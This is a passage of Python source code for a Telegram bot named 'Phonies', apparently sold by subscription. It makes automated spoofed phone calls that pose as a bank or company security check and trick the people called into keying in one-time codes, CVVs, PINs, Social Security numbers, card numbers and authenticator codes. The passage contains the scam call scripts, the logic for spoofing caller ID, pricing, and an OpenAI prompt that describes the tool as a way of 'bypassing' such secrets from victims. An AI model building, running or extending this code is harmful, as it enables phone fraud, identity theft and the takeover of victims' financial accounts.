f"+1{phone_number}" phona = '' target_name = message_text.split(" ")[3].replace("_", " ").replace("-", " ") otp_digits = message_text.split(" ")[5] prov = message_text.split(" ")[4].lower() + f"_{call_type}" if call_type != "custom" else message_text.split(" ")[4].lower() prov = prov.replace("?", "") if "?" in prov else prov provider = json.load(open("provider.json")) spliter = message_text.split(" ? ")[0] if (" ? " in message_text) else message_text.split("?")[0] if ("?" in message_text) else message_text phona = spliter.split(" ")[6] if (len(spliter.split(" ")) > 6) else "" phona = " ".join(phona) if (phona) else phona if (prov not in provider): registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"] custom_req = call_type formatted_provider = prov.replace(f"_{custom_req}", " ").replace("-", " ").replace("_", " ") prov = f"{prov}" lettering = { "otp": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad", "decline": "As part of the confirmation to block the login attempt, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "cvv": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type the card CVV or CVC, on your dial pad or keypad", "decline": "As part of the confirmation to block the charges attempt, Please type the card CVV or CVC, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "csc": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type the card CSC or CID, on your dial pad or keypad", "decline": "As part of the confirmation to block the charges attempt, Please type the card CSC or CID, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "auth": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Open your authenticator app. And type the code on your dial pad or keypad", "decline": "As part of the confirmation to block the login attempt, Open your authenticator app. And type the code on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "pin": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": f"As part of the confirmation, Please type your {formatted_provider} PIN code, on your dial pad or keypad", "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} PIN code, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "ssn": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type your Social Security Number, on your dial pad or keypad", "decline": "As part of the confirmation to block the login attempt, Please type your Social Security Number, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "card": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type your Card Number, on your dial pad or keypad", "decline": "As part of the confirmation to block the charges attempt, Please type your Card Number, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "acc": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": f"As part of the confirmation, Please type your {formatted_provider} Account Number, on your dial pad or keypad", "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} Account Number, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "exp": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad", "decline": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad", "1": True, "2": True, "lang": "en-US" }, } provider[prov] = lettering[custom_req] # save custom_provider json to provider.json file with open("provider.json", "w") as f: json.dump(provider, f) send_message( sender, f"ā *NOT REGISTRED*: {prov}\nHowever *Phonies* already create it for you! ā ", ) call_from = configuration["sinch"]["phone"] call_from = call_from[random.randrange(len(call_from))] call_from = "private" if "hide" in message_text.lower() else call_from from_formatted = "ANONYMOUS" if "hide" in message_text.lower() else phone_format(call_from) webhook_url = configuration["ngrok"]["url"] + "/sinch/outgoing" send_message( sender, f"ā¹ļø *Call Details* (_v2_)\n\n*From*: {from_formatted}\n*To*: {phone_format(phone_number)}" ) call_id = "-" call_control = "sinch" try: req = requests.post("https://calling.api.sinch.com/calling/v1/callouts", headers = v2_headers, data = json.dumps({ "method": "customCallout", "customCallout": { "ice": json.dumps({ "instructions": [], "action": { "name": "connectPstn", "number": phone_number, "cli": call_from, "dialTimeout": 25, "amd": { "enabled": True } } }), "ace": webhook_url, "pie": webhook_url, "dice": webhook_url, "maxDuration": 0 } })) res = req.json() if "errorCode" in res: raise Exception(res["message"] + " References: " + res["reference"]) call_id = res["callId"] ongoing_call[call_id] = "" ongoing_call_command[call_id] = message_text delete_list_call[call_id] = [] except Exception as e: err = repr(e) send_message( sender, f"*Error: {err}\n\nCopy this message, and paste it to our administrator 'staff'.*", ) return # insert data to data table execute_statement(PHONY_DB, f"""INSERT INTO data VALUES ('{call_control}', '{call_from}', '{phone_number}', '{target_name}', '', '', '', '', '{webhook_url}', '{int(otp_digits)}', '{prov}', '', '', '{configuration["sinch"]["key"]}', '{configuration["sinch"]["secret"]}', '{call_id}', '{phona}', '{sender}', '{sender}')""") # ('call_control_id', 'from', 'to', 'name', 'isBot', 'gatherType', 'status', 'current_data_storedate', 'server', 'digits', 'provider', 'result', 'receive', 'key_api', 'auth_token', 'call_id', 'phone_number', 'chat_id', 'message_id') send_message( sender, f"{status_dict['call.inprogress']}" ) btnnya = [ button("š Hangup", f"hangup") ] if "retry" in message_text: btnnya.append(button("ā STOP Retry", f"stop_retry")) send_message( sender, f"{status_dict['call.initiated']}", buttons(btnnya) ) # check sender tipe user = query(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender)) if ("TRIAL" in user[1]): # update users expired to now execute_statement(PHONY_DB, f"UPDATE users SET expired = '{datetime.now()}' WHERE user_id = '{sender}'") send_message(sender, "Your trial is used, please purchase a voucher to continue using *Phonies* Calls.") return if "/call" in message_text: if (" " not in message_text): send_message(sender, command_res['call']) return if message_text.split(" ")[0] == "/call": if not check_user(): return call_type = message_text.split(" ")[1].lower() phone_number = message_text.split(" ")[2] # format the phone_number phone_number = phone_number.replace(" ", "").replace("(", "").replace(")", "").replace("-", "").replace(".", "") if ("+" not in phone_number): if (phone_number[0] == "1"): phone_number = f"+{phone_number}" else: phone_number = f"+1{phone_number}" phona = '' target_name = message_text.split(" ")[3].replace("_", " ").replace("-", " ") otp_digits = message_text.split(" ")[5] prov = message_text.split(" ")[4].lower() + f"_{call_type}" if call_type != "custom" else message_text.split(" ")[4].lower() prov = prov.replace("?", "") if "?" in prov else prov provider = json.load(open("provider.json")) spliter = message_text.split(" ? ")[0] if (" ? " in message_text) else message_text.split("?")[0] if ("?" in message_text) else message_text phona = spliter.split(" ")[6] if (len(spliter.split(" ")) > 6) else "" phona = " ".join(phona) if (phona) else phona if (prov not in provider): registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"] custom_req = call_type formatted_provider = prov.replace(f"_{custom_req}", " ").replace("-", " ").replace("_", " ") prov = f"{prov}" lettering = { "otp": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad", "decline": "As part of the confirmation to block the login attempt, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "cvv": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type the card CVV or CVC, on your dial pad or keypad", "decline": "As part of the confirmation to block the charges attempt, Please type the card CVV or CVC, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "csc": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type the card CSC or CID, on your dial pad or keypad", "decline": "As part of the confirmation to block the charges attempt, Please type the card CSC or CID, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "auth": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Open your authenticator app. And type the code on your dial pad or keypad", "decline": "As part of the confirmation to block the login attempt, Open your authenticator app. And type the code on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "pin": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": f"As part of the confirmation, Please type your {formatted_provider} PIN code, on your dial pad or keypad", "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} PIN code, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "ssn": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type your Social Security Number, on your dial pad or keypad", "decline": "As part of the confirmation to block the login attempt, Please type your Social Security Number, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "card": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type your Card Number, on your dial pad or keypad", "decline": "As part of the confirmation to block the charges attempt, Please type your Card Number, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "acc": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": f"As part of the confirmation, Please type your {formatted_provider} Account Number, on your dial pad or keypad", "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} Account Number, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "exp": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad", "decline": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad", "1": True, "2": True, "lang": "en-US" }, } provider[prov] = lettering[custom_req] # save custom_provider json to provider.json file with open("provider.json", "w") as f: json.dump(provider, f) send_message( sender, f"ā *NOT REGISTRED*: {prov}\nHowever *Phonies* already create it for you! ā ", ) call_from = configuration["telnyx"]["phone"] call_from = call_from[random.randrange(len(call_from))] if ("?" in message_text): opt = message_text.split("?") opt = opt[1].replace(" ", "") call_from = opt call_from = call_from.replace(" ", "").replace("(", "").replace(")", "").replace("-", "").replace(".", "") if ("+" not in call_from): if (call_from[0] == "1"): call_from = f"+{call_from}" else: call_from = f"+1{call_from}" texml_uid = configuration["telnyx"]["texml_uid"] webhook_url = configuration["ngrok"]["url"] + "/telnyx/outgoing" print(webhook_url, file=sys.stderr) send_message( sender, f"ā¹ļø *Call Details*\n\nFrom: {phone_format(call_from)}\n*To*: {phone_format(phone_number)}" ) call_id = "-" call_control = "-" try: on_call = telnyx.Call.create( connection_id = texml_uid, to = phone_number, from_ = call_from, webhook_url = "https://8927-172-174-216-115.ngrok.io/telnyx/outgoing", timeout = 25, answering_machine_detection = configuration["telnyx"]["amd"] ) call_id = on_call.call_session_id call_control = on_call.call_control_id ongoing_call[call_id] = on_call ongoing_call_command[call_id] = message_text delete_list_call[call_id] = [] balance = telnyx.Balance.retrieve() if float(balance.get('balance', '-1')) < float(2.0): admin = query_many(PHONY_DB, "SELECT * FROM users WHERE tipe = 'admin'") if (admin): send_message( admin[0][0], f"Your balance is {balance.get('balance', '-1')} (LOW), please top up your balance to continue using Phony." ) except Exception as e: err = repr(e) err_state = { "D46": f"Try again later, {phone_number} is busy OR your spoofer number is not available", "D35": f"Your spoofer number {call_from} is invalid, Please check the number or change it.", "Disable": "Phony Bot is maintenance, please try again later.", "Authentication failed": "Phony is currently on maintenance, please try again later.", } for er in err_state: if (er in err): send_message( sender, err_state[er] ) return send_message( sender, f"Error: {err}\n\nCopy this message, and paste it to our administrator 'staff'.", ) return # insert data to data table execute_statement(PHONY_DB, f"INSERT INTO data VALUES ('{call_control}', '{call_from}', '{phone_number}', '{target_name}', '', '', '', '', '{webhook_url}', '{int(otp_digits)}', '{prov}', '', '', '{telnyx.api_key}', '{texml_uid}', '{call_id}', '{phona}', '{sender}', '{sender}')") # ('call_control_id', 'from', 'to', 'name', 'isBot', 'gatherType', 'status', 'current_data_storedate', 'server', 'digits', 'provider', 'result', 'receive', 'key_api', 'auth_token', 'call_id', 'phone_number', 'chat_id', 'message_id') send_message( sender, f"{status_dict['call.inprogress']}" ) # check sender tipe user = query(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender)) if ("TRIAL" in user[1]): # update users expired to now execute_statement(PHONY_DB, f"UPDATE users SET expired = '{datetime.now()}' WHERE user_id = '{sender}'") send_message(sender, "Your trial is used, please purchase a voucher to continue using *Phonies* Calls.") return if "/account" == message_text: user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender)) if (not user): send_message( sender, f"""*Phonies* _Calls_ šŗšø *Your Account Details* Your '{get_name(sender)}' account is not registered in our system! To access all of our features you can type help, please register your account first by typing redeem if you don't have any voucher, you can purchase it by typing purchase """ ) return user = user[0] send_message( sender, f"""*Phonies* _Calls_ šŗšø What's up {get_first_name(sender)} š *Your Account Details* _Account Level_: *{user[1]}* _Expiry Date_: *{user[2]}* _Want to renew your account? Purchase it first purchase_ """ ) return if "/referral" == message_text: user = query_many(PHONY_DB, "SELECT * FROM referral WHERE user_id = '{}'".format(sender)) if (not user): send_message( sender, f"*UNAUTHORIZED*: You are not allowed to use this command" ) return user = user[0] send_message( sender, f"""*Phonies* _Referral_ šŗšø *Your Referral Details* _Referral Code_: *{user[2]}* _Balance_: *{rupiah(int(user[1]))}* _Want to get more referral? Share your referral code to your friends!_ To check your referral history, type /referral_history """ ) return if "/sms" in message_text: user = query_many(PHONY_DB, "SELECT * FROM referral WHERE user_id = '{}'".format(sender)) if (not user): send_message( sender, f"*UNAUTHORIZED*: You are not allowed to use this command" ) return if (len(message_text.split(" ")) < 2): number_list = "" for number in configuration["twilio"]["phone"]: number_list += f"{number}\n" send_message( sender, f"Please type */sms* *<phone_number>*\n\n*Here the available number:* \n\n{number_list}" ) return phone = message_text.split(" ")[1] if (not phone): number_list = "" for number in configuration["twilio"]["phone"]: number_list += f"{number}\n" send_message( sender, f"Please type */sms* *<phone_number>*\n\n*Here the available number:* \n\n{number_list}" ) return if (not phone in configuration["twilio"]["phone"]): number_list = "" for number in configuration["twilio"]["phone"]: number_list += f"{number}\n" send_message( sender, f"Phone number {phone} is not available\n\n*Here the available number:* \n\n{number_list}" ) return send_message( sender, f"Receive SMS of {phone}" ) msgnya = twl.messages.list(to=phone, limit=10) if (not msgnya): send_message( sender, f"There no message in {phone}" ) return msgku = "" for msg in msgnya: msgku += f"From: {msg.from_}\n" msgku += f"Message: {msg.body}\n" msgku += f"Time: {msg.date_created}\n" send_message( sender, f"{msgku}" ) return if "/referral_history" == message_text: user = query_many(PHONY_DB, "SELECT * FROM referral WHERE user_id = '{}'".format(sender)) if (not user): send_message( sender, f"*UNAUTHORIZED*: You are not allowed to use this command" ) return history = query_many(PHONY_DB, "SELECT * FROM referral_history WHERE id_referral = '{}'".format(sender)) if (not history): send_message( sender, f"You don't have any referral history" ) return message = f"*Phonies* _Referral_ šŗšø" for h in history: message += f"\n\nRecord of {parse_id(h[1])} ({get_name(h[1])})" message += f"\n*Transaction Amount*: {rupiah(int(h[2]))}" message += f"\n*Bonus*: {rupiah(int(h[3]))}" message += f"\n*Date*: {h[4]}" send_message( sender, message ) return if "/ref_wd" in message_text: if not check_admin(): send_message( sender, "*UNAUTHORIZED*: You are not allowed to use this command" ) return if (" " not in message_text): send_message( sender, "Please type '/ref_wd <user_id> <amount:idr>'" ) return ref_id = message_text.split(" ")[1] amount = message_text.split(" ")[2] reff = query_many(PHONY_DB, "SELECT * FROM referral WHERE user_id = '{}'".format(ref_id)) if (not reff): send_message( sender, f"Referral {ref_id} not found" ) return reff = reff[0] if (int(reff[1]) < int(amount)): send_message( sender, f"Insufficient balance" ) return execute_statement(PHONY_DB, f"UPDATE referral SET balance = '{int(reff[1]) - int(amount)}' WHERE user_id = '{ref_id}'") execute_statement(PHONY_DB, f"INSERT INTO referral_history VALUES ('{ref_id}', '{ref_id}', '-{amount}', '0', '{datetime.now()}')") send_message( sender, f"*Successfully*: withdraw {rupiah(int(amount))} from {get_name(ref_id)} ({parse_id(ref_id)})'s balance" ) return if "/ref_list" in message_text: if not check_admin(): send_message( sender, "*UNAUTHORIZED*: You are not allowed to use this command" ) return referral = query_many(PHONY_DB, "SELECT * FROM referral") if (not referral): send_message( sender, f"No referral found" ) return message = f"*Phonies* _Referral_ šŗšø" for r in referral: message += f"\n\nRecord of {get_name(r[0])} ({parse_id(r[0])})" message += f"\n*Referral Code*: {r[2]}" message += f"\n*Balance*: {rupiah(int(r[1]))}" message += f"\n*Margin*: {r[3]}" send_message( sender, message ) return if "/create_ref" in message_text: if not check_admin(): send_message( sender, "*UNAUTHORIZED*: You are not allowed to use this command" ) return if (" " not in message_text): send_message( sender, "Please type '/create_ref <user_id> <code> <margin (%):integer>'" ) return user_id = message_text.split(" ")[1] code = message_text.split(" ")[2] margin = message_text.split(" ")[3] if (not user_id or not code): send_message( sender, "Please check your command" ) return execute_statement(PHONY_DB, "INSERT INTO referral VALUES ('{}', 0, '{}', {})".format(user_id, code, margin)) send_message( sender, "ā *SUCCESSFULLY*: Referral code has been created\n\n*Code*: {}\nReferral: {}({})\nMargin: {}%".format(code, user_id, get_name(user_id), margin) ) return if "/delete_ref" in message_text: if not check_admin(): send_message( sender, "*UNAUTHORIZED*: You are not allowed to use this command" ) return if (" " not in message_text): send_message( sender, "Please type '/delete_ref <user_id>'" ) return user_id = message_text.split(" ")[1] if (not user_id): send_message( sender, "Please check your command" ) return execute_statement(PHONY_DB, "DELETE FROM referral WHERE user_id = '{}'".format(user_id)) send_message( sender, "ā *SUCCESSFULLY*: Referral code has been deleted\n\nReferral: {}({})".format(user_id, get_name(user_id)) ) return if "/create_voucher" in message_text: if check_admin(): if (" " not in message_text): send_message( sender, "Please type 'create_voucher <days>'" ) return duration = message_text.split(" ")[1] code = str(uuid.uuid1()).split("-")[0].upper() + str(uuid.uuid1()).split("-")[0].upper() code = four_format(code) tipe = "admin" if len(message_text.split(" ")) >= 3 else "user" if (not code or not duration): send_message( sender, "Please check your command" ) return execute_statement(PHONY_DB, "INSERT INTO voucher VALUES ('{}', '{}', '{}', '')".format(tipe, code.lower(), duration)) send_message( sender, """*Phonies* _Voucher_ šŗšø *CODE*: {} _The voucher is for account with {} type, and have duration for {} days_ """.format(code, tipe, duration) ) return if ("/users" in message_text): if not check_admin(): return users = query_many(PHONY_DB, "SELECT * FROM users") if (not users): send_message( sender, "There is no user registered." ) return text = "List of registred user:\n" for user in users: exp = datetime.strptime(user[2], "%Y-%m-%d %H:%M:%S.%f") difr = exp - datetime.now() text += f"ā«ļø {get_name(user[0])} ({user[0]}) | {user[1].upper()} | {difr.days} days | {'Enable' if user[3] == '1' else 'Disable'} | {'expired' if exp < datetime.now() else 'active'}\n" for texted in split_message(text): send_message( sender, texted ) return if ("/disable_user" in message_text): if not check_admin(): return if (" " not in message_text): send_message( sender, "Please type '/disable_user <user id>' to disable a user." ) return user_id = message_text.split(" ")[1] user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(user_id)) if (not user): send_message( sender, "User not found." ) return user = user[0] execute_statement(PHONY_DB, f"UPDATE users SET is_active = '0' WHERE user_id = '{user_id}'") send_message( sender, f"'{get_name(user_id)}' ({user_id}) is now inactive." ) return if ("/enable_user" in message_text): if not check_admin(): return if (" " not in message_text): send_message( sender, "Please type '/enable_user <user id>' to enable a user." ) return user_id = message_text.split(" ")[1] user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(user_id)) if (not user): send_message( sender, "User not found." ) return user = user[0] execute_statement(PHONY_DB, f"UPDATE users SET is_active = '1' WHERE user_id = '{user_id}'") send_message( sender, f"'{get_name(user_id)}' ({user_id}) is now active." ) return if ("/delete_user" in message_text): if not check_admin(): return if (" " not in message_text): send_message( sender, "Please type '/delete_user <user_id>' to delete a user." ) return user_id = message_text.split(" ")[1] user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(user_id)) if (not user): send_message( sender, "User not found." ) return user = user[0] execute_statement(PHONY_DB, "DELETE FROM users WHERE user_id = '{}'".format(user_id)) send_message( sender, f"User '{get_name(user[0])}' ({(user[0])}) has been deleted." ) return response = openai.Completion.create( model="text-davinci-003", prompt=f"Information:\n\nPhonies Bot is tools for bypassing any information like One Time Code, PIN, CVV, CARD Number, Expiry Date, SSN, 2FA Authenticator, even Account number\n\nPhonies Basic Command:\n'help' - view all commands\n'redeem' - apply license key\n'renew' - renew your account\n'start' - view subscription info\n'purchase' - purchase voucher\n'staff' - view all staff\n'modules' - view all available modules\n'status' - view bot active status\n'countries' - view available call country\n\nPhonies Modules Command:\n'company' - show company feature\n 'call' - show call feature\n\nPhonies Company Command:\n'companies' - show company list\n'company create' - create company\n'company <company name>' - show company detail\n\nCall feature details:\nCall Format\n Normal Format: \"call <type> <phone number> <target name> <company> <code length> <last 4 digits : optional> <record : optional> <voice : optional>\"\n Spoofer Format: \"call <type> <phone number> <target name> <company> <code length> <last 4 digits : optional> <record : optional> <voice : optional> ? <spoofed number>\"\n\nNote: \n OPTIONAL: You can leave it blank if you don't want to use it.\n LAST 4 DIGITS: You can only use <last 4 digit> for type CVV, CSC, EXP, CARD.\n TARGET NAME: Change space between name word with \"-\" if the name is more than one word\n\tCOMPANY: Change space between name word with \"-\" if the name is more than one word\n\tVOICE: To using voice, please specify with the voice option, Example: voice=en-US-JennyNeural\n\t\n\nCall Type\n CUSTOM - Using your own Company script\n OTP - One Time Code\n PIN - Personal Identification Number\n CVV - Card Verification Value\n CSC - Card Security Code\n EXP - Expiry Date\n AUTH - Google Authenticator\n SSN - Social Security Number\n CARD - Card Number\n ACC - Account Number\n\t\nCall Example\n Victim Name: John Doe\n\tType: CVV\n\tCompany Name: Bank of America\n\tPhone Number: +1 123 456 7890\n\tCode Length: 3\n\tLast 4 Digits: 1234 (OPTIONAL)\n\tRecord: USE (OPTIONAL)\n\tVoice: en-US-JennyNeural (OPTIONAL)\n\tSpoofed Number: +1 987 654 3210\n\n\tThen, the command is: \"call otp +11234567890 John Doe Company 6 1234 record voice=en-US-JennyNeural ? +19876543210\"\n\n\nCountry support to make call:\nšŗšø United States (+1)\nšØš¦ Canada (+1)\n\nš¦š¹ Austria (+43)\nš§šŖ Belgium (+32)\nš©š° Denmark (+45)\nš«š® Finland (+358)\nš«š· France (+33)\nš©šŖ Germany (+49)\nš¬š· Greece (+30)\nš®šŖ Ireland (+353)\nš®š¹ Italy (+39)\nš³š± Netherland (+31)\nš³š“ Norway (+47)\nšµš± Poland (+48)\nšµš¹ Portugal (+351)\nšŖšø Spain (+34)\nšøšŖ Sweden (+46)\nš½š° Kosovo (+383)\n\nš¦šŗ Australia (+61)\nš³šæ New Zealand (+64)\n\nšš° Hong Kong (+852)\nš²š“ Macao (+853)\nš°š· South Korea (+82)\nšÆšµ Japan (+81)\n\nšøš¬ Singapore (+65)\nš¹š± Timor Leste (+670)\n\nš®š± Israel (+972)\nš°šæ Kazakhstan (+7)\n\nPricing:\n1-2 Day: IDR 200.000 or USD 15 / Day\n3-6 Day: IDR 170.000 or USD 11 / Day\n7-13 Day: IDR 110.000 or USD 7.5 / Day\n14-30 Day: IDR 90.000 or USD 6 / Day\n31 day more: IDR 80.000 or USD 5.2 / Day\n\nPlease reply \"{message_text}\" Based on information above\nReply: \n", temperature=0.9, max_tokens=256, top_p=1, frequency_penalty=0, presence_penalty=0 ) send_message( sender, response["choices"][0]["text"] ) return @app.route("/voice", methods=['GET']) def voice(): name = request.args.get('name') # check if there is a file with the same name if os.path.isfile(f"audio/{name}"): # if there is, return the file return send_file(f"audio/{name}") return "File not found", 404 @bot.callback_query_handler(func=lambda call: True) def callback_query(call): print("calling postback query", file=sys.stderr) return postback(str(call.message.chat.id), call.data) @bot.message_handler(func=lambda m: True) def callback_handler(message): sender = str(message.chat.id) message = message.text session = json.load(open("session.json")) session[sender] = str(get_name(sender)) if (str(session[sender]) == "@None"): send_message( sender, "Please set up your Telegram username before using Phony Bot." ) return with open("session.json", 'w') as outfile: json.dump(session, outfile) print(f"There a message from {session[sender]} with ID: {sender}", file=sys.stderr) messaging(sender, message) current_detect = {} current_record = {} @app.route("/telnyx/outgoing", methods=["GET", "POST"]) def telnyx_outgoing(): provider = json.load(open("provider.json")) configuration = json.load(open("phony.json")) content = request.get_json(force=True)["data"] call_sess = content['payload']['call_session_id'] call_control = content['payload']['call_control_id'] call_connection = content['payload']['connection_id'] data = query(PHONY_DB, f"SELECT * FROM [data] WHERE call_id = '{call_sess}'") data_stored = { "call_id": data[15], "call_control_id": data[0], "ke": data[1], "to": data[2], "name": data[3], "isBot": data[4], "gatherType": data[5], "status": data[6], "current_data_storedate": data[7], "otp": { "server": data[8], "digits": data[9], "provider": data[10], "result": data[11], "receive": data[12] }, "auth": { "key_api": data[13], "auth_token": data[14] }, "phone_number": data[16], "chat_id": data[17], "message_id": data[18] } call_id = data_stored["call_id"] headers = { "Accept": "application/json", "Authorization": f"Bearer {data_stored['auth']['key_api']}" } # on_call = telnyx.Call.create() # on_user_id = call_control # on_call.connection_id = call_connection # on_call.call_session_id = call_sess # on_call.call_control_id = call_control on_call = ongoing_call[call_sess] # ('call_control_id', 'from', 'to', 'name', 'isBot', 'gatherType', 'status', 'current_data_storedate', 'server', 'digits', 'provider', # 'result', 'receive', 'key_api', 'auth_token', 'call_id', 'phone_number', 'chat_id', 'message_id') o_prov = provider[data_stored['otp']['provider']] data_stored["status"] = content["event_type"] data_stored["current_data_storedate"] = content["occurred_at"] print("\nStatus: " + content["event_type"], file=sys.stderr) if (content["event_type"] in detection_list): data_stored["isBot"] = content["payload"]["result"] if (content["event_type"] == "call.hangup"): data_stored["isBot"] = content["payload"]["hangup_cause"] if (content["event_type"] in gather_list): data_stored["otp"]["result"] = content["payload"]["digits"] data_stored["gatherType"] = base64.b64decode(content["payload"]["client_state"].encode("ascii")).decode("ascii") if (content["event_type"] == "call.dtmf.received"): data_stored["otp"]["receive"] += content["payload"]["digit"] def up_data(key, value): execute_statement(PHONY_DB, f"UPDATE data SET {key} = '{value}' WHERE call_id = '{call_sess}'") up_data("call_control_id", data_stored['call_control_id']) up_data("name", data_stored['name']) up_data("isBot", data_stored['isBot']) up_data("gatherType", data_stored['gatherType']) up_data("status", data_stored['status']) up_data("current_data_storedate", data_stored['current_data_storedate']) up_data("server", data_stored['otp']['server']) up_data("digits", data_stored['otp']['digits']) up_data("provider", data_stored['otp']['provider']) up_data("result", data_stored['otp']['result']) up_data("receive", data_stored['otp']['receive']) up_data("key_api", data_stored['auth']['key_api']) up_data("auth_token", data_stored['auth']['auth_token']) if (content['event_type'] in ongoing_list): if (content['event_type'] == "call.initiated"): # send message status_dict event type with button to hangup the call btnnya = [ button("š Hangup", f"hangup") ] if "retry" in ongoing_call_command.get(call_sess, ""): btnnya.append(button("ā STOP Retry", f"stop_retry")) send_message( data_stored['chat_id'], f"{status_dict[content['event_type']]}", buttons(btnnya) ) else: send_message(data_stored["chat_id"], f"{status_dict[content['event_type']]}") if (content['event_type'] == 